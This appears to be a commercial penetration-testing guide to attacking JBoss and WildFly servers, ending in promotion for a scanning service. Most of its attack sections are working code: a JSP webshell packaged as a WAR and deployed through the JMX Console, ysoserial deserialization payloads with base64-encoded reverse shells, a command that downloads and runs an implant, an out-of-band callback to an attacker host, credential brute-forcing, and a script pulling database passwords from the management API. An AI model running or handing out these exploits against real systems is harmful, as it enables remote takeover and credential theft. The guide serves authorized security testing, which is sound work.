JBoss/WildFly Security Testing: Deserialization RCE, JMX Console Exposure, HTTP Invoker Attacks, and Admin Credential Exposure

JBoss AS and WildFly have produced some of the most reliably exploitable pre-authentication remote code execution vulnerabilities in enterprise Java — CVE-2017-12149 and CVE-2015-7501 both score CVSS 9.8 and require no credentials. Unauthenticated JMX Console access and exposed HTTP Invoker endpoints are still found regularly in internal networks. This guide covers the full attack surface: deserialization payload generation with ysoserial, JMX Console WAR deployment, default credential attacks, and WildFly management interface enumeration.

AUTHORIZED TESTING ONLY. All techniques in this guide must only be used against systems you own or have explicit written authorization to test. Unauthorized exploitation of JBoss/WildFly deserialization vulnerabilities is a criminal offense in most jurisdictions.

Table of Contents

  1. JBoss/WildFly Architecture and Attack Surface
  2. Vulnerability Summary Table
  3. Discovery and Fingerprinting
  4. JMX Console Exposure and Unauthenticated Deployment
  5. HTTP Invoker Endpoint Attacks
  6. CVE-2015-7501: RMI/HTTP Invoker Deserialization
  7. CVE-2017-12149: HTTP Invoker Deserialization RCE
  8. CVE-2017-7504: JMXInvokerServlet Deserialization
  9. Generating Deserialization Payloads with ysoserial
  10. WAR File Deployment via JMX and Admin Console
  11. Default Credential Attacks
  12. WildFly Management Interface (Ports 9990/9999)
  13. Metasploit Modules
  14. Nuclei Templates and Automated Scanning
  15. Remediation

JBoss/WildFly Architecture and Attack Surface

JBoss AS (now renamed WildFly) is a Java EE application server developed by Red Hat. JBoss AS 4.x through 6.x share the legacy architecture that produced the most severe CVEs. WildFly (JBoss AS 7+) rearchitected the management layer but retains some attack surface. JBoss EAP (Enterprise Application Platform) is the supported commercial fork.

The attack surface splits into several distinct areas:

Vulnerability Summary Table

CVE CVSS Affected Versions Vector Impact
CVE-2017-12149 9.8 Critical JBoss AS 5.x, 6.x HTTP Invoker / JMXInvokerServlet — unauthenticated deserialization Pre-auth RCE as JBoss process user
CVE-2015-7501 9.8 Critical JBoss AS 4.x, 5.x, 6.x; EAP 4.x, 5.x, 6.x HTTP Invoker deserialization via Apache Commons Collections Pre-auth RCE; exploited in mass campaigns by ransomware groups
CVE-2017-7504 9.8 Critical JBoss AS 4.x JMXInvokerServlet deserialization — unauthenticated Pre-auth RCE via ReadOnlyAccessFilter bypass
CVE-2013-4810 7.5 High JBoss AS 2.x–4.x Unauthenticated JMX Console access Arbitrary WAR deployment without credentials
CVE-2010-0738 7.5 High JBoss AS 4.2.x, 4.3.x JMX Console HEAD/GET method bypass of auth filter Unauthenticated access to JMX Console

Discovery and Fingerprinting

JBoss and WildFly listen on port 8080 by default (HTTP) and 8443 (HTTPS). The management interface uses port 9990 (WildFly HTTP management) and port 9999 (WildFly native management). Legacy JBoss RMI/JNDI runs on port 1099 and AJP on port 8009.

Nmap Service Detection

# Full JBoss/WildFly port sweep
nmap -sV -p 8080,8443,8009,9990,9999,1099,4444,4445 --script=http-headers,http-title 10.10.10.50

# Script scan for JBoss-specific paths
nmap -p 8080 --script http-enum 10.10.10.50

# Banner grab on management ports
nmap -sV -p 9990,9999 --version-intensity 9 10.10.10.50

HTTP Fingerprinting with curl

# Check JBoss default landing page
curl -sk http://10.10.10.50:8080/ -I

# Probe JMX Console directly
curl -sk http://10.10.10.50:8080/jmx-console/ -o /dev/null -w "%{http_code}"

# Check Web Console
curl -sk http://10.10.10.50:8080/web-console/ -o /dev/null -w "%{http_code}"

# Probe HTTP Invoker endpoints
curl -sk http://10.10.10.50:8080/invoker/EJBInvokerServlet -o /dev/null -w "%{http_code}"
curl -sk http://10.10.10.50:8080/invoker/JMXInvokerServlet -o /dev/null -w "%{http_code}"

# WildFly management console
curl -sk http://10.10.10.50:9990/console/ -o /dev/null -w "%{http_code}"

# Check for /admin-console/ (JBoss EAP 5.x)
curl -sk http://10.10.10.50:8080/admin-console/ -o /dev/null -w "%{http_code}"

A 200 response from /jmx-console/ without an authentication prompt is a critical finding — the instance is immediately exploitable for WAR deployment. A 200 from /invoker/JMXInvokerServlet confirms the deserialization endpoint is reachable.

Version Identification

# JBoss version often in the server header or HTML title
curl -sk http://10.10.10.50:8080/ | grep -i "jboss\|wildfly\|version"

# Check WildFly management API for version
curl -sk http://10.10.10.50:9990/management \
  -H "Content-Type: application/json" \
  -d '{"operation":"read-attribute","name":"product-version"}' \
  -u admin:admin

# jbossas version from error pages
curl -sk http://10.10.10.50:8080/nonexistent-path | grep -i "jboss\|version\|4\.\|5\.\|6\."

JMX Console Exposure and Unauthenticated Deployment

The JMX Console at /jmx-console/ exposes all MBeans registered in the JVM. In default JBoss AS 4.x and some 5.x installs, this endpoint has no authentication. An attacker with access can invoke the jboss.deployment:type=DeploymentScanner or jboss.system:service=MainDeployer MBeans to deploy a malicious WAR directly from a URL.

Checking JMX Console Accessibility

# Unauthenticated access check
curl -v http://10.10.10.50:8080/jmx-console/

# If 401 returned, try the HEAD method bypass (CVE-2010-0738)
curl -v -X HEAD http://10.10.10.50:8080/jmx-console/HtmlAdaptor?action=displayMBeans

# Browse the MainDeployer MBean
curl -sk "http://10.10.10.50:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Aservice%3DMainDeployer"

Deploying a Backdoor WAR via JMX Console

The MainDeployer MBean has a deploy() method that accepts a URL. Host a malicious WAR on your attacker machine and invoke deployment:

# Step 1: Create a JSP webshell WAR
mkdir -p /tmp/shell/WEB-INF
cat > /tmp/shell/cmd.jsp <<'EOF'
<%@ page import="java.io.*" %>
<%
  String cmd = request.getParameter("cmd");
  if (cmd != null) {
    Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line; while((line=br.readLine())!=null) out.println(line);
  }
%>
EOF
cat > /tmp/shell/WEB-INF/web.xml <<'EOF'
<?xml version="1.0"?>
<web-app xmlns="http://java.sun.com/xml/ns/j2ee" version="2.4"></web-app>
EOF
cd /tmp && jar -cvf shell.war -C shell .

# Step 2: Serve it from your attacker box
python3 -m http.server 8000 &

# Step 3: Trigger deployment via JMX Console HtmlAdaptor (unauthenticated)
curl -sk "http://10.10.10.50:8080/jmx-console/HtmlAdaptor" \
  --data-urlencode 'action=invokeOpByName' \
  --data-urlencode 'name=jboss.system:service=MainDeployer' \
  --data-urlencode 'methodName=deploy' \
  --data-urlencode 'argType=java.net.URL' \
  --data-urlencode 'arg0=http://10.10.10.100:8000/shell.war'

# Step 4: Execute commands via the deployed webshell
curl "http://10.10.10.50:8080/shell/cmd.jsp?cmd=id"
curl "http://10.10.10.50:8080/shell/cmd.jsp?cmd=cat+/etc/passwd"
Detection note: JBoss deployment triggers a WARN-level log entry in server.log. In a pentest, confirm scope authorization before deploying any WAR — the deployment persists until explicitly undeployed and leaves artifacts on disk.

HTTP Invoker Endpoint Attacks

The HTTP Invoker is a JBoss remoting mechanism that serializes Java objects over HTTP. Two servlets expose this functionality:

Both endpoints deserialize POST body content without authentication in vulnerable versions. When Apache Commons Collections (any version from 1.x to 3.2.1 before the patch) is on the classpath — and it almost always is in JBoss deployments — an attacker can send a crafted serialized payload that executes arbitrary commands during deserialization.

Probing HTTP Invoker Endpoints

# Test EJBInvokerServlet (should return 200 and application/octet-stream or similar)
curl -v -X POST http://10.10.10.50:8080/invoker/EJBInvokerServlet \
  -H "Content-Type: application/octet-stream" \
  --data-binary $'\xac\xed'

# Test JMXInvokerServlet
curl -v -X POST http://10.10.10.50:8080/invoker/JMXInvokerServlet \
  -H "Content-Type: application/octet-stream" \
  --data-binary $'\xac\xed'

# The magic bytes \xac\xed are the Java serialization stream header.
# A 200 or 500 response (not 404) confirms the endpoint deserializes the input.

# Also check /invoker/ path listing
curl -sk http://10.10.10.50:8080/invoker/

CVE-2015-7501: RMI/HTTP Invoker Deserialization

CVE-2015-7501 is the seminal JBoss deserialization vulnerability, disclosed alongside the broader Apache Commons Collections deserialization research. It affects the ReadOnlyAccessFilter in the HTTP Invoker — despite the filter name implying read-only access, it deserializes input before checking permissions, triggering payload execution unconditionally.

This CVE was mass-exploited in 2016 by the SamSam ransomware group and later by multiple cryptomining botnets. It remains one of the most commonly found unpatched vulnerabilities in internal network penetration tests targeting Java application servers deployed before 2017.

Affected versions: JBoss AS 4.x, 5.x, 6.x; JBoss EAP 4.x, 5.x, 6.x (prior to 6.4.4); JBoss SOA Platform; JBoss Portal.

Manual Exploitation with ysoserial

# Generate payload using CommonsCollections1 gadget chain
java -jar ysoserial.jar CommonsCollections1 'curl http://10.10.10.100:4444/$(id)' > /tmp/payload_cc1.ser

# Send to JMXInvokerServlet
curl -v http://10.10.10.50:8080/invoker/JMXInvokerServlet \
  -H "Content-Type: application/octet-stream" \
  --data-binary @/tmp/payload_cc1.ser

# Reverse shell payload
java -jar ysoserial.jar CommonsCollections1 \
  'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMDAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}' \
  > /tmp/revshell.ser

# Start listener
nc -lvnp 4444 &

# Fire the payload
curl -s http://10.10.10.50:8080/invoker/JMXInvokerServlet \
  -H "Content-Type: application/octet-stream" \
  --data-binary @/tmp/revshell.ser

CVE-2017-12149: HTTP Invoker Deserialization RCE

CVE-2017-12149 is a deserialization vulnerability in JBoss AS 5.x and 6.x that specifically targets the doFilter method in ReadOnlyAccessFilter. The filter attempts to restrict access to the HTTP Invoker servlet to read-only operations, but the deserialization occurs before the access check is enforced, allowing an unauthenticated attacker to achieve RCE.

The CVSS 9.8 score reflects: no authentication required, network-accessible, no user interaction needed, and full system compromise potential (the JBoss process often runs as root or a privileged service account).

# CVE-2017-12149 — target JBoss AS 5.x/6.x JMXInvokerServlet
# Try multiple Commons Collections gadget chain versions
for gadget in CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections6; do
  echo "[*] Trying gadget: $gadget"
  java -jar ysoserial.jar $gadget 'id > /tmp/pwned.txt' > /tmp/payload_${gadget}.ser
  curl -s -o /dev/null -w "%{http_code}" \
    http://10.10.10.50:8080/invoker/JMXInvokerServlet \
    -H "Content-Type: application/octet-stream" \
    --data-binary @/tmp/payload_${gadget}.ser
  echo " <- $gadget"
done

# Verify execution via OOB DNS/HTTP callback
java -jar ysoserial.jar CommonsCollections1 \
  'curl http://callback.attacker.com/?cvss=9.8&host=$(hostname)' \
  > /tmp/oob_payload.ser

curl -s http://10.10.10.50:8080/invoker/JMXInvokerServlet \
  -H "Content-Type: application/octet-stream" \
  --data-binary @/tmp/oob_payload.ser

CVE-2017-7504: JMXInvokerServlet Deserialization

CVE-2017-7504 affects JBoss AS 4.x specifically. Unlike CVE-2017-12149 which bypasses the ReadOnlyAccessFilter, this vulnerability exists because JBoss AS 4.x has no filter at all on /invoker/JMXInvokerServlet — it is completely unauthenticated and deserializes any POST body directly.

# CVE-2017-7504 — JBoss AS 4.x, no filter at all
# CommonsCollections gadget works directly against 4.x

java -jar ysoserial.jar CommonsCollections6 \
  'wget http://10.10.10.100:8000/implant.sh -O /tmp/i.sh && bash /tmp/i.sh' \
  > /tmp/cve_2017_7504.ser

curl -v http://10.10.10.50:8080/invoker/JMXInvokerServlet \
  -H "Content-Type: application/octet-stream" \
  --data-binary @/tmp/cve_2017_7504.ser

# Also test EJBInvokerServlet on 4.x — equally vulnerable
java -jar ysoserial.jar CommonsCollections6 'id' > /tmp/ejb_payload.ser
curl -v http://10.10.10.50:8080/invoker/EJBInvokerServlet \
  -H "Content-Type: application/octet-stream" \
  --data-binary @/tmp/ejb_payload.ser

Generating Deserialization Payloads with ysoserial

ysoserial is the standard tool for generating Java deserialization exploit payloads. It contains pre-built gadget chains for common libraries found in Java EE environments. JBoss environments typically ship Apache Commons Collections, making CommonsCollections1 through CommonsCollections7 the primary chains to try.

ysoserial Setup and Gadget Chain Selection

# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar -O ysoserial.jar

# List all available gadget chains
java -jar ysoserial.jar

# JBoss-relevant chains (in order of likelihood to work):
# CommonsCollections1   — CC 3.1, Java <= 1.7
# CommonsCollections6   — CC 3.1/4.0, works on Java 8+ (no annotations dependency)
# CommonsCollections2   — CC 4.0, uses PriorityQueue
# CommonsCollections5   — CC 3.1, Java 8, uses BadAttributeValueExpException
# Spring1               — Spring Core + Commons Collections
# Groovy1               — Groovy < 2.4.x on classpath

# Determine Commons Collections version on target (check WAR/EAR manifests)
# If you have shell: find / -name "commons-collections*.jar" 2>/dev/null

# Generate a Windows reverse shell payload (JBoss on Windows)
java -jar ysoserial.jar CommonsCollections6 \
  'cmd.exe /c powershell -nop -w hidden -e JABj...' \
  > /tmp/win_payload.ser

# Generate Linux reverse shell with bash -i redirect
LHOST=10.10.10.100
LPORT=4444
CMD="bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1"
ENCODED=$(echo "$CMD" | base64 -w 0)
java -jar ysoserial.jar CommonsCollections6 \
  "bash -c {echo,${ENCODED}}|{base64,-d}|{bash,-i}" \
  > /tmp/revshell.ser

# Multi-chain spray script
for gadget in CommonsCollections1 CommonsCollections2 CommonsCollections5 CommonsCollections6 Spring1 Groovy1; do
  java -jar ysoserial.jar $gadget "curl http://10.10.10.100/?g=${gadget}&h=\$(hostname)" \
    > /tmp/spray_${gadget}.ser 2>/dev/null
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://10.10.10.50:8080/invoker/JMXInvokerServlet \
    -H "Content-Type: application/octet-stream" \
    --data-binary @/tmp/spray_${gadget}.ser)
  echo "[$code] $gadget"
done
Tip: If Commons Collections is not present, check for other libraries: Spring Framework (Spring1, Spring2), Groovy (Groovy1), Apache BeanUtils (BeanShell1), or JDK-only chains (JRMPClient, JRMPListener). In JBoss EAP 6.x with JDK 8, CommonsCollections6 works reliably without the type annotation dependency.

WAR File Deployment via JMX and Admin Console

Beyond deserialization, a second path to RCE is deploying a malicious WAR file directly. This works when the JMX Console is unauthenticated, when default admin credentials succeed, or when you have captured valid credentials.

WAR Deployment via WildFly Management API

# WildFly HTTP Management API (port 9990) — deploy WAR with credentials
# Step 1: Add the deployment
curl -sk -u admin:admin \
  -F "file=@/tmp/shell.war" \
  "http://10.10.10.50:9990/management/add-content" | python3 -m json.tool

# Step 2: Note the returned hash, then deploy
curl -sk -u admin:admin \
  -H "Content-Type: application/json" \
  -d '{
    "operation": "composite",
    "address": [],
    "steps": [
      {"operation":"add","address":[{"deployment":"shell.war"}],"content":[{"hash":{"BYTES_VALUE":"HASH_FROM_STEP1=="}}]},
      {"operation":"deploy","address":[{"deployment":"shell.war"}]}
    ]
  }' \
  "http://10.10.10.50:9990/management"

# Step 3: Verify deployment
curl -sk "http://10.10.10.50:8080/shell/cmd.jsp?cmd=id"

WAR Deployment via jboss-cli.sh (WildFly CLI)

# If you have the WildFly CLI tool and management port access
# Install WildFly locally to get the CLI, then:
./bin/jboss-cli.sh --connect --controller=10.10.10.50:9990 \
  --user=admin --password=admin \
  --command="deploy /tmp/shell.war"

# Or inline:
./bin/jboss-cli.sh \
  --connect --controller=10.10.10.50:9990 \
  --user=admin --password=admin \
  --commands="deploy /tmp/shell.war,ls deployment"

Default Credential Attacks

JBoss and WildFly installations frequently retain default or weak credentials on the management console. Credential configuration is stored in mgmt-users.properties (WildFly) or jmx-console-users.properties / web-console-users.properties (JBoss AS 4/5).

Version Interface Default Username Default Password
JBoss AS 4.x JMX Console / Web Console admin (none / empty)
JBoss AS 5.x JMX Console / Admin Console admin admin
JBoss EAP 5.x Admin Console admin admin
WildFly 8–26 Management Console (9990) admin admin (if wizard skipped)
JBoss EAP 7.x Management Console (9990) admin admin.1234 or set during install

Brute-forcing Management Console Credentials

# WildFly management console digest auth brute-force with Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  http-get://10.10.10.50:9990/management \
  -t 4 -f

# curl test individual credentials
curl -sk -u admin:admin http://10.10.10.50:9990/management \
  -H "Content-Type: application/json" \
  -d '{"operation":"read-resource","include-runtime":true}' | head -50

# Common credential pairs to test manually
for cred in "admin:admin" "admin:password" "admin:jboss" "admin:Admin#1" "jboss:jboss" "admin:"; do
  user=$(echo $cred | cut -d: -f1)
  pass=$(echo $cred | cut -d: -f2)
  code=$(curl -sk -o /dev/null -w "%{http_code}" \
    -u "${user}:${pass}" \
    http://10.10.10.50:9990/management)
  echo "[$code] ${user}:${pass}"
done

WildFly Management Interface (Ports 9990/9999)

WildFly exposes an HTTP management console on port 9990 and a native management protocol on port 9999. The HTTP management API is a REST-like JSON API that exposes full server control when authenticated. Port 9999 uses the WildFly native binary protocol consumed by jboss-cli.sh.

Management API Enumeration

# Read full server configuration tree (authenticated)
curl -sk -u admin:admin \
  -H "Content-Type: application/json" \
  -d '{"operation":"read-resource","recursive":true,"include-runtime":true}' \
  http://10.10.10.50:9990/management | python3 -m json.tool

# List all deployments
curl -sk -u admin:admin \
  -H "Content-Type: application/json" \
  -d '{"operation":"read-children-names","child-type":"deployment"}' \
  http://10.10.10.50:9990/management

# Get system properties (may leak database passwords, API keys, etc.)
curl -sk -u admin:admin \
  -H "Content-Type: application/json" \
  -d '{"operation":"read-children-resources","child-type":"system-property"}' \
  http://10.10.10.50:9990/management

# Read datasource configuration — often contains plaintext DB passwords
curl -sk -u admin:admin \
  -H "Content-Type: application/json" \
  -d '{"operation":"read-resource","address":[{"subsystem":"datasources"}],"recursive":true}' \
  http://10.10.10.50:9990/management | python3 -m json.tool

# Get server info (version, OS, JVM details)
curl -sk -u admin:admin \
  -H "Content-Type: application/json" \
  -d '{"operation":"read-resource","include-runtime":true,"address":[]}' \
  http://10.10.10.50:9990/management | python3 -m json.tool | grep -E "product|version|os-|jvm"

Credential Exposure via Datasource Configuration

A critical and frequently overlooked finding: WildFly stores datasource (database) credentials in its configuration, and these are readable through the management API when authenticated. This turns a management console login into database credential exposure:

# Extract datasource credentials in one pass
curl -sk -u admin:admin \
  -H "Content-Type: application/json" \
  -d '{"operation":"read-children-resources","child-type":"subsystem","recursive":true}' \
  http://10.10.10.50:9990/management \
  | python3 -c "
import sys, json
data = json.load(sys.stdin)
ds = data.get('result',{}).get('datasources',{}).get('data-source',{})
for name, cfg in ds.items():
    print(f'[{name}] url={cfg.get(\"connection-url\")} user={cfg.get(\"user-name\")} pass={cfg.get(\"password\")}')
"

Metasploit Modules

Metasploit has mature modules for JBoss exploitation covering all major CVEs and attack vectors:

# Search for all JBoss modules
msf6 > search type:exploit name:jboss

# CVE-2017-12149 / CVE-2015-7501 — HTTP Invoker deserialization
msf6 > use exploit/multi/http/jboss_invoke_deploy
msf6 exploit(jboss_invoke_deploy) > set RHOSTS 10.10.10.50
msf6 exploit(jboss_invoke_deploy) > set RPORT 8080
msf6 exploit(jboss_invoke_deploy) > set PAYLOAD java/meterpreter/reverse_tcp
msf6 exploit(jboss_invoke_deploy) > set LHOST 10.10.10.100
msf6 exploit(jboss_invoke_deploy) > run

# JMX Console deployment (unauthenticated)
msf6 > use exploit/multi/http/jboss_maindeployer
msf6 exploit(jboss_maindeployer) > set RHOSTS 10.10.10.50
msf6 exploit(jboss_maindeployer) > set RPORT 8080
msf6 exploit(jboss_maindeployer) > set PAYLOAD java/meterpreter/reverse_tcp
msf6 exploit(jboss_maindeployer) > set LHOST 10.10.10.100
msf6 exploit(jboss_maindeployer) > run

# JBoss AS deserialization (covers CVE-2015-7501)
msf6 > use exploit/multi/http/jboss_deserializ
msf6 exploit(jboss_deserializ) > set RHOSTS 10.10.10.50
msf6 exploit(jboss_deserializ) > set LHOST 10.10.10.100
msf6 exploit(jboss_deserializ) > set PAYLOAD java/shell_reverse_tcp
msf6 exploit(jboss_deserializ) > run

# WildFly admin-based deployment (post-credential)
msf6 > use exploit/multi/http/wildfly_admin_deployment
msf6 exploit(wildfly_admin_deployment) > set RHOSTS 10.10.10.50
msf6 exploit(wildfly_admin_deployment) > set RPORT 9990
msf6 exploit(wildfly_admin_deployment) > set USERNAME admin
msf6 exploit(wildfly_admin_deployment) > set PASSWORD admin
msf6 exploit(wildfly_admin_deployment) > run

Nuclei Templates and Automated Scanning

Nuclei has community templates for JBoss detection and CVE verification. For a structured pentest, run automated detection first and then follow up manually on confirmed findings.

# Install/update nuclei templates
nuclei -update-templates

# Scan for all JBoss/WildFly vulnerabilities
nuclei -u http://10.10.10.50:8080 -tags jboss,wildfly -severity critical,high

# Specific CVE checks
nuclei -u http://10.10.10.50:8080 \
  -id CVE-2017-12149,CVE-2015-7501,CVE-2017-7504

# JMX Console exposure detection
nuclei -u http://10.10.10.50:8080 \
  -t http/exposures/configs/jboss-jmx-console.yaml

# Scan a subnet for JBoss across multiple ports
nuclei -l targets.txt \
  -tags jboss \
  -p 8080,8443,9990 \
  -severity critical,high,medium \
  -o jboss_results.json -jsonl

# Custom nuclei template for CVE-2017-12149
# (save as jboss-http-invoker-detect.yaml)
cat > jboss-http-invoker-detect.yaml <<'EOF'
id: jboss-http-invoker-detect
info:
  name: JBoss HTTP Invoker Endpoint Detected
  severity: high
  tags: jboss,rce,deserialization
requests:
  - method: POST
    path:
      - "{{BaseURL}}/invoker/JMXInvokerServlet"
      - "{{BaseURL}}/invoker/EJBInvokerServlet"
    headers:
      Content-Type: application/octet-stream
    body: "\xac\xed\x00\x05"
    matchers:
      - type: status
        status: [200, 500]
      - type: word
        words: ["java", "serializ", "ClassNotFound"]
        condition: or
EOF
nuclei -u http://10.10.10.50:8080 -t jboss-http-invoker-detect.yaml -v

Ironimo for JBoss/WildFly Scanning

Ironimo's Kali Linux-based scanning engine covers JBoss and WildFly attack surface detection automatically — JMX Console exposure, HTTP Invoker endpoint enumeration, CVE-2017-12149, CVE-2015-7501, default credential testing on the management console, and WildFly management port enumeration. This maps directly to the manual steps above in a single authenticated scan run.

Remediation

Scan for JBoss/WildFly Vulnerabilities with Ironimo

Ironimo automatically detects JMX Console exposure, HTTP Invoker endpoints, CVE-2017-12149, CVE-2015-7501, default credentials on the WildFly management console, and open management ports — all in a single scan. Built on Kali Linux tooling so the detection depth matches what a skilled penetration tester would find manually.

Start free scan